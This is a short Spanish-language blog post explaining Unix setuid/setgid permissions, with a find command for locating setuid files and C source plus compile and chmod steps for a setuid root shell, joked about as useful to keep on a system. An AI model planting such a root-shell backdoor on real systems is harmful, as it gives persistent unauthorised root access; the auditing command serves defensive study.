ejemplo de una consola o shell setuid

Jun 29, 2012 No Comments by

Los permisos setuid y setgid en sistemas operativos like unix, permiten cambiar el usuario y grupo a un proceso en tiempo de ejecución, muy útil para otorgar permisos elevados en una determinada tarea (ejemplo ping, passwd, etc.), pero muy peligroso si la aplicación contiene algún bug explotable.

Es recomendable reconocer e identificar los archivos que tengan los permisos especiales setuid o setgid (por ejemplo tras la búsqueda de alguna consola setuid después de algún acceso no autorizado a un sistema). Una forma rápida y sencilla es a través del comando find.

find / ( -perm -4000 -o -perm -2000 ) -type f -print

Consola / Shell setuid

El siguiente ejemplo en C, utiliza la función setuid y setgid, para ejecutar una consola (bin/sh) con los privilegios del usuario root (id 0), siempre y cuando el ejecutable tenga el bit setuid y setgid activos.

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>

int main(void)
{
	printf("Real UIDt= %d\n", getuid());
	printf("Effective UIDt= %d\n", geteuid());
	printf("Real GIDt= %d\n", getgid());
	printf("Effective GIDt= %d\n", getegid());
	setuid(0);
	setgid(0);
	system("/bin/sh");
	return EXIT_SUCCESS;
}

Debemos compilar el ejemplo

gcc -Wall setuid.c -o setuid

Y además otorgar los permisos setuid y getuid al binario (con el usuario root)

chmod ug+s setuid

Finalmente, si ejecutamos el binario con otro usuario, podemos ver que hemos obtenido una consola con los permisos de root.

./setuid

Muy útil si es que queremos tener una consola suid en un sistema :P (siii muy útil xD)

GNU/Linux, Hacking Ético

About the author

Ingeniero en Informática, Oracle Certified Master Java EE 6 Enterprise Architect, Oracle Certified Professional Java Programmer. Experto en distintas ramas de la computación y otras "yerbas" xD. Si te gusto este post, sígueme en @deerme_org, escríbeme a info AT deerme.org o contactame por linkedin.
No Responses to “ejemplo de una consola o shell setuid”

Leave a Reply


6 + six =